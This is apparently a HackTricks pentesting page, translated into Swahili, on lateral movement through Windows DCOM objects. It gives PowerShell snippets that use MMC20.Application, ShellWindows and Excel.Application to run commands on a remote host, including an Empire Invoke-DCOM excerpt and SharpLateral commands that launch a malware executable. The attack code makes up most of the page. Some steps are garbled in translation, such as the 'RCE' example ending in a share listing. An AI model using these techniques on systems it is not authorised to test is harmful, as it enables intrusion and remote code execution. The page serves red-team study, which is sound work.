DCOM Exec

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Kikundi cha Usalama cha Try Hard


MMC20.Application

Kwa habari zaidi kuhusu mbinu hii angalia chapisho la asili kutoka https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

Modeli ya Vitu vya Mfano wa Sehemu iliyosambazwa (DCOM) inatoa uwezo wa kuvutia kwa mwingiliano wa mtandao na vitu. Microsoft hutoa nyaraka kamili kwa DCOM na Modeli ya Vitu vya Sehemu (COM), inayopatikana hapa kwa DCOM na hapa kwa COM. Orodha ya programu za DCOM inaweza kupatikana kwa kutumia amri ya PowerShell:

Get-CimInstance Win32_DCOMApplication

COM object, MMC Application Class (MMC20.Application), inawezesha uandishi wa shughuli za MMC snap-in kwa kutumia script. Kwa umuhimu, kipengele hiki kina ExecuteShellCommand method chini ya Document.ActiveView. Taarifa zaidi kuhusu method hii zinaweza kupatikana hapa. Angalia ikifanya kazi:

Kipengele hiki kinawezesha utekelezaji wa amri juu ya mtandao kupitia programu ya DCOM. Ili kuingiliana na DCOM kwa mbali kama msimamizi, PowerShell inaweza kutumika kama ifuatavyo:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Amri hii inaunganisha kwenye programu ya DCOM na kurudi kwa kifaa cha COM. Mbinu ya ExecuteShellCommand inaweza kisha kuitwa kutekeleza mchakato kwenye mwenyeji wa mbali. Mchakato unajumuisha hatua zifuatazo:

Angalia mbinu:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

Pata RCE:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

Kwa habari zaidi kuhusu hii mbinu angalia chapisho la asili https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

Kitu cha MMC20.Application kiligunduliwa kukosa "LaunchPermissions" wazi, kikiruhusu upatikanaji wa Wasimamizi kwa chaguo-msingi. Kwa maelezo zaidi, unaweza kuchunguza mjadala hapa, na matumizi ya @tiraniddo’s OleView .NET kwa kuchuja vitu bila ruhusa wazi ya Kuzindua inapendekezwa.

Vitu viwili maalum, ShellBrowserWindow na ShellWindows, vilisisitizwa kutokana na kukosa kwa ruhusa wazi ya Kuzindua. Kutokuwepo kwa kuingia kwa usajili wa LaunchPermission chini ya HKCR:\AppID\{guid} kunamaanisha hakuna ruhusa wazi.

ShellWindows

Kwa ShellWindows, ambayo haina ProgID, njia za .NET Type.GetTypeFromCLSID na Activator.CreateInstance hurahisisha kuunda vitu kwa kutumia AppID yake. Mchakato huu unatumia OleView .NET kupata CLSID kwa ShellWindows. Mara baada ya kuundwa, mwingiliano unawezekana kupitia njia ya WindowsShell.Item, ikiongoza kwa wito wa njia kama Document.Application.ShellExecute.

Amri za PowerShell za mfano zilitolewa kuunda kipengee na kutekeleza amri kijijini:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Harakati za Upande kwa Vitu vya Excel DCOM

Harakati za upande zinaweza kufikiwa kwa kuchexploit vitu vya DCOM vya Excel. Kwa maelezo zaidi, ni vyema kusoma mjadala kuhusu kutumia Excel DDE kwa harakati za upande kupitia DCOM kwenye blogi ya Cybereason.

Mradi wa Empire hutoa script ya PowerShell, ambayo inaonyesha matumizi ya Excel kwa utekelezaji wa kanuni za mbali (RCE) kwa kubadilisha vitu vya DCOM. Hapa chini ni vipande kutoka kwenye script inayopatikana kwenye repo ya GitHub ya Empire, ikionyesha njia tofauti za kutumia Excel kwa RCE:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Zana za Kiotomatiki kwa Harakati za Upande

Zana mbili zimebainishwa kwa ajili ya kiotomatiki hizi mbinu:

  • Invoke-DCOM.ps1: Skripti ya PowerShell iliyotolewa na mradi wa Empire ambayo inasaidia kwa kiasi kikubwa wito wa njia tofauti za kutekeleza namna ya kificho kwenye mashine za mbali. Skripti hii inapatikana kwenye hazina ya GitHub ya Empire.

  • SharpLateral: Zana iliyoundwa kwa ajili ya kutekeleza kificho kijijini, ambayo inaweza kutumika kwa amri:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Vifaa vya Kiotomatiki

  • Skripti ya Powershell Invoke-DCOM.ps1 inaruhusu kwa urahisi kuita njia zote zilizopendekezwa za kutekeleza nambari kwenye mashine zingine.

  • Unaweza pia kutumia SharpLateral:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Marejeo

Kikundi cha Usalama cha Try Hard

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated